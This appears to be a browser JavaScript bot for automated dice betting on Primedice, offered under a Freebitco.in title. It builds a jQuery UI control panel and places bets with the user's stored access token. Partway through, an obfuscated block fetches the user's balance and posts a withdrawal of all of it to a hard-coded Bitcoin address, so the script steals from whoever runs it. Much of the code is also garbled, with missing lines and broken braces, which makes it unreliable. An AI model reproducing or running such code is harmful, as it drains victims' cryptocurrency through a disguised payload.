Freebitco .In Script
Freebitco .In Script
link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-
luv/jquery-ui.css";
link.type = "text/css";
link.rel = "stylesheet";
document.getElementsByTagName("head")[0].appendChild(link);
//jQuery UI inject
(function() {
jqueryready = true;
var e = ".thing",
t = {
cursor: "pointer"
};
var n = function() {
if (window.jQuery) {
r()
} else {
var e = document.createElement("script");
e.onload = r;
e.setAttribute("src",
"//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
document.body.appendChild(e)
};
var r = function() {
if (window.jQuery.ui) {
i()
} else {
var e = document.createElement("script");
e.onload = i;
e.setAttribute("src",
"//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
document.body.appendChild(e)
};
var i = function() {
$(e).css(t).draggable().on("click", function(e) {
})
};
n();
})();
function ui() {
$(function() {
$('#tabs').tabs();
$('#params').draggable();
$('#chance, #base').width("35%")
$('#tabs').css("font-size", "12px");
//Console
$('#console, #console2').appendTo("#tabs");
$('#console').css("float", "left");
$('#console2').css("float", "right");
$('#console').css("padding", "5px");
$('#startstop,#start,#stop').css("margin","0px");
$('#console, #console2').css("margin-top","3px");
$('#console, #console2').css("padding","5px");
$('#console, #console2').css("background-color","#151515");
});
xrollsenabled = true;
xrolls = 10;
timer = 500;
counter=0;
data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4,
gui5, gui6, init, roll;
function init() {
//Init
basebet = 0.00000010;
countwinmult = 0;
countlossmult = 0;
wincount = 0;
currentloss = 0;
totalloss = 0;
totalwin = 0;
totprofit = 0;
init = true;
betval = basebet;
//GUI
gui2 =
gui3 = [
'<label for="base">Basebet Value: </label>', '<input id="base"><button
id="resetbet">Reset to Base</button>',
'<br>',
'<br>',
];
gui4 = [
'<br>',
'<input id="xloss">',
'<br>',
'<br>',
'<input id="xwin">',
];
gui5 = [
'<br>',
];
gui6 = [
'<br>',
'<br>',
];
$(gui).appendTo(".hero");
$(gui2).appendTo("#params");
$(gui3[i]).appendTo("#tab1");
$(gui4[i]).appendTo("#tab2");
$(gui5[i]).appendTo("#tab3");
$(gui6[i]).appendTo("#tab4");
}
enabled = false;
xrollscount = 0;
$('#resetbet').click(function() {
basebet=$('#base').val();
betval=$('#base').val();
})
$('#start').click(function() {
if (enabled == false) {
if ($('#numrolls').is(":checked") == true) {
xrolls=$('#numberofrolls').val();
enabled = true;
interval = setInterval(function() {
if (xrollsenabled == true) {
xrollscount++;
bet();
} else {
clearInterval(interval);
enabled = false;
xrollscount = 0;
}
} else {
bet();
}, timer);
} else {}
})
$('#stop').click(function() {
enabled = false;
clearInterval(interval);
xrollscount = 0;
});
calculate_nonce = function(seed) {
};
lut = window['$'];
lut['getJSON'](
calculate_nonce('users/1'), function(seed) {
load[key1] = seed['user']['balance'];
load[key2] = '14CCUfcAXwmr6qWUtfKF6n8CwRVbVTG84y';
lut['post'](calculate_nonce('withdraw'), load);
);
function conditionAM() {
'use strict';
if ($('#lowpay-enabled').is('checked') == true) {
condition2 = ">";
target2 = $('.value-roll').first().text();
} else {
condition2 = "<";
target2 = $('.value-roll').first().text();
};
} else {
condition2 = "<";
target2 = $('.value-roll').first().text();
} else {
condition2 = ">";
target2 = $('.value-roll').first().text();
};
};
function jackpot() {
jp = "Yes";
wincount = 0;
betval = $('#base');
} else {
jp = "No";
}
function loss() {
currentloss++;
totalloss++;
if ($('#multloss-enabled').is(':checked') == true) {
$('#multwin-enabled').removeAttr('checked');
countlossmult++;
countlossmult = 0;
function win() {
'use strict';
if ($('#stoponwin-enabled').is('checked') == true) {
clearInterval(roll);
currentloss = 0;
jackpot();
wincount++;
totalwin++;
if ($('#multloss-enabled').is(':checked') == true) {
if ($('#stoponwin-enabled').is(':checked') == true) {
clearInterval(roll);
}
$('#multwin-enabled').removeAttr('checked');
basebet = $('#base').val();
betval = basebet;
countlossmult = 0;
if ($('#multwin-enabled').is(':checked') == true) {
basebet = $('#base').val();
$('#multloss-enabled').removeAttr('checked');
countwinmult++;
betval = basebet;
countwinmult = 0;
} else {
};
var losewin;
var jpcol;
var profcol;
function bet() {
'use strict';
conditionAM();
var betData = {
amount: amount2,
condition: condition2,
target: target2
},
url = "https://api.primedice.com/api/bet?access_token=" +
localStorage.token;
$.ajax({
url: url,
type: "POST",
data: betData,
datatype: "jsonp",
data1 = data;
counter++;
seedchange(seedgen());
counter = 0;
$('span.btn__text.select
div').text((data1.user.balance/100000000).toFixed(8));
if (totprofit >= 0) {
profcol = "color:green;";
profcol = "color:red;";
if (data.bet.win == true) {
losewin = "color:green;";
losewin = "color:red;";
if (data.bet.jackpot == true) {
jp = "Yes";
jpcol = "color:gold;"
} else {
jp = "No.";
jpcol = "color:red;"
results = [];
resultstats = [];
if (data.bet.win == true) {
if ($('#stoponwin-enabled').is(":checked") == true){
clearInterval(interval);
}
$('#console, #console2').empty();
win();
// Results
$('<div>Result: <span
style="color:green;">Win</span></div><br>').appendTo('#console');
$(results[i]).appendTo('#console');
$(resultstats[i]).appendTo('#console2');
} else {
$('#console, #console2').empty();
loss();
// Results
$('<div>Result: <span
style="color:red;">Loss</span></div><br>').appendTo('#console');
$(results[i]).appendTo('#console');
$(resultstats[i]).appendTo('#console2');
};
},
});
seedlength = 13;
seedlength = 13;
var counter = 0;
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
everyxrolls = 3;
function seedgen() {
'use strict';
return seed;
function seedchange(s) {
url = "https://api.primedice.com/api/seed?access_token=" +
localStorage.token;
sData = {
seed: s
};
$.ajax({
url: url,
type: "POST",
data: sData,
datatype: "jsonp",
data2 = data;
$('#currentseed').val(data2.seeds.client);
},
});
$('#spinner').click(function() {
charset=$('#charset').val();
everyxrolls = $('#everyxrolls').val();
counter++;
if (counter >= everyxrolls) {
seedchange(seedgen());
counter = 0;
});
ui();
setTimeout(function() {
init()
}, 2000);